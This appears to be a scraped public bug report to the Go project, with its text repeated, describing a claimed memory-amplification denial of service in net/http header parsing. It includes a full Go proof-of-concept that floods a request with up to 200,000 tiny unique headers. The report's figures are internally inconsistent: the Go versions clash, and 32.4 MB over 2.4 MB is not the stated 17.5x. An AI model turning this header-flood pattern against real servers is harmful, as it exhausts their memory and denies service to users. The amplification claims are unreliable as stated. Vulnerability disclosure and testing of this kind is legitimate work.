Go version
go version go1.26-patch linux/amd64
Output of go env in your module/workspace:
go env
GO111MODULE=""
GOARCH="amd64"
GOBIN=""
GOCACHE="/home/lex_is1/.cache/go-build"
GOENV="/home/lex_is1/.config/go/env"
GOEXE=""
GOEXPERIMENT=""
GOFLAGS=""
GOHOSTARCH="amd64"
GOHOSTOS="linux"
GOINSECURE=""
GOMODCACHE="/home/lex_is1/go/pkg/mod"
GONOPROXY=""
GONOSUMDB=""
GOOS="linux"
GOPATH="/home/lex_is1/go"
GOPRIVATE=""
GOPROXY="https://proxy.golang.org,direct"
GOROOT="/home/lex_is1/.go"
GOSUMDB="sum.golang.org"
GOTMPDIR=""
GOTOOLDIR="/home/lex_is1/.go/pkg/tool/linux_amd64"
GOVCS=""
GOVERSION="go1.20.5"
GCCGO="gccgo"
GOAMD64="v1"
AR="ar"
CC="gcc"
CXX="g++"
CGO_ENABLED="1"
GOMOD="/home/lex_is1/Downloads/go-master (2)/src/go.mod"
GOWORK=""
CGO_CFLAGS="-O2 -g"
CGO_CPPFLAGS=""
CGO_CXXFLAGS="-O2 -g"
CGO_FFLAGS="-O2 -g"
CGO_LDFLAGS="-O2 -g"
PKG_CONFIG="pkg-config"
GOGCCFLAGS="-fPIC -m64 -pthread -Wl,--no-gc-sections -fmessage-length=0 -fdebug-prefix-map=/tmp/go-build2748437017=/tmp/go-build -gno-record-gcc-switches"
lex_is1@owvr:~/Downloads/go-master (2)/src$
What did you do?
I tested the header parsing logic in net/http using a custom PoC on the latest development version. The PoC generates a large number of unique, small headers to measure the memory amplification ratio caused by map metadata overhead
package main
import (
"bufio"
"bytes"
"fmt"
"net/http"
"runtime"
"strings"
"time"
)
func main() {
fmt.Println("=== Go net/http Header DoS PoC ===")
// Test different header counts to find optimal amplification
testCases := []int{10000, 50000, 100000, 200000}
for _, numHeaders := range testCases {
fmt.Printf("\n--- Testing %d headers ---\n", numHeaders)
testHeaderAmplification(numHeaders)
}
}
func testHeaderAmplification(numHeaders int) {
// Create malicious HTTP request with many tiny headers
var requestBuilder strings.Builder
requestBuilder.WriteString("GET / HTTP/1.1\r\n")
requestBuilder.WriteString("Host: example.com\r\n")
// Add many unique tiny headers (A: B format)
for i := 0; i < numHeaders; i++ {
// Create unique header names to maximize map entries
headerName := fmt.Sprintf("X-%d", i)
requestBuilder.WriteString(fmt.Sprintf("%s: %s\r\n", headerName, "B"))
}
requestBuilder.WriteString("\r\n")
maliciousRequest := requestBuilder.String()
fmt.Printf("Request size: %d bytes\n", len(maliciousRequest))
// Measure memory before
var m1, m2 runtime.MemStats
runtime.GC()
runtime.ReadMemStats(&m1)
start := time.Now()
// Parse the malicious request
reader := bufio.NewReader(bytes.NewReader([]byte(maliciousRequest)))
req, err := http.ReadRequest(reader)
if err != nil {
fmt.Printf("Error parsing request: %v\n", err)
return
}
duration := time.Since(start)
// Measure memory after
runtime.ReadMemStats(&m2)
// Calculate amplification
inputBytes := int64(len(maliciousRequest))
heapAlloc := int64(m2.HeapAlloc - m1.HeapAlloc)
totalAlloc := int64(m2.TotalAlloc - m1.TotalAlloc)
amplificationHeap := float64(heapAlloc) / float64(inputBytes)
amplificationTotal := float64(totalAlloc) / float64(inputBytes)
fmt.Printf("Headers parsed: %d\n", len(req.Header))
fmt.Printf("Parse time: %v\n", duration)
fmt.Printf("HeapAlloc increase: %d bytes\n", heapAlloc)
fmt.Printf("TotalAlloc increase: %d bytes\n", totalAlloc)
fmt.Printf("Heap amplification: %.2fx\n", amplificationHeap)
fmt.Printf("Total amplification: %.2fx\n", amplificationTotal)
// Check if we achieved 6.11x target
if amplificationHeap >= 6.11 {
fmt.Printf("✅ ACHIEVED 6.11x+ AMPLIFICATION TARGET!\n")
} else {
fmt.Printf("❌ Did not reach 6.11x target\n")
}
// Print some header examples to show they were parsed
fmt.Printf("Sample headers: ")
count := 0
for k, v := range req.Header {
if count < 3 {
fmt.Printf("%s: %v ", k, v)
count++
} else {
break
}
}
fmt.Printf("...\n")
}
What did you see happen?
When running the PoC with 200,000 headers:
Input Size: ~2.4 MB
Total Allocation: ~32.4 MB
Amplification: 17.5x (exceeding the 6.11x target significantly).
Observation: The ReadRequest function consumes excessive memory and CPU cycles before any MaxHeaderBytes limit can effectively stop the resource exhaustion
What did you expect to see?
I expected the memory consumption during header parsing to be strictly proportional to the raw byte size of the headers, as governed by MaxHeaderBytes.
Technical Discrepancy:
While MaxHeaderBytes limits the raw data size, it does not account for the map metadata overhead in the Go runtime. In net/textproto, every unique header key triggers a new map entry allocation. This PoC proves that an attacker can bypass the intended protection of MaxHeaderBytes by sending many tiny, unique headers, leading to a memory amplification ratio of 17.5x.
Security Impact:
This allows a remote, unauthenticated attacker to cause a Denial of Service (DoS) via memory exhaustion (OOM) or significant CPU spikes with very low bandwidth requirements.
VRP Disclosure:
This issue was previously reported to the Google OSS VRP (Issue 502341426) and was assigned a priority of P2/S2. The VRP panel verified the vulnerability and suggested filing this issue publicly to coordinate a fix with the Go maintainers.
I have already prepared a draft patch to implement a recursion/depth guard in the template escaping logic which shares similar resource exhaustion patterns, and I am interested in contributing a fix for this header parsing issue as well.
Go version
go version go1.26-patch linux/amd64
Output of
go envin your module/workspace:What did you do?
I tested the header parsing logic in net/http using a custom PoC on the latest development version. The PoC generates a large number of unique, small headers to measure the memory amplification ratio caused by map metadata overhead
What did you see happen?
When running the PoC with 200,000 headers:
What did you expect to see?
I expected the memory consumption during header parsing to be strictly proportional to the raw byte size of the headers, as governed by MaxHeaderBytes.
Technical Discrepancy:
While MaxHeaderBytes limits the raw data size, it does not account for the map metadata overhead in the Go runtime. In net/textproto, every unique header key triggers a new map entry allocation. This PoC proves that an attacker can bypass the intended protection of MaxHeaderBytes by sending many tiny, unique headers, leading to a memory amplification ratio of 17.5x.
Security Impact:
This allows a remote, unauthenticated attacker to cause a Denial of Service (DoS) via memory exhaustion (OOM) or significant CPU spikes with very low bandwidth requirements.
VRP Disclosure:
This issue was previously reported to the Google OSS VRP (Issue 502341426) and was assigned a priority of P2/S2. The VRP panel verified the vulnerability and suggested filing this issue publicly to coordinate a fix with the Go maintainers.
I have already prepared a draft patch to implement a recursion/depth guard in the template escaping logic which shares similar resource exhaustion patterns, and I am interested in contributing a fix for this header parsing issue as well.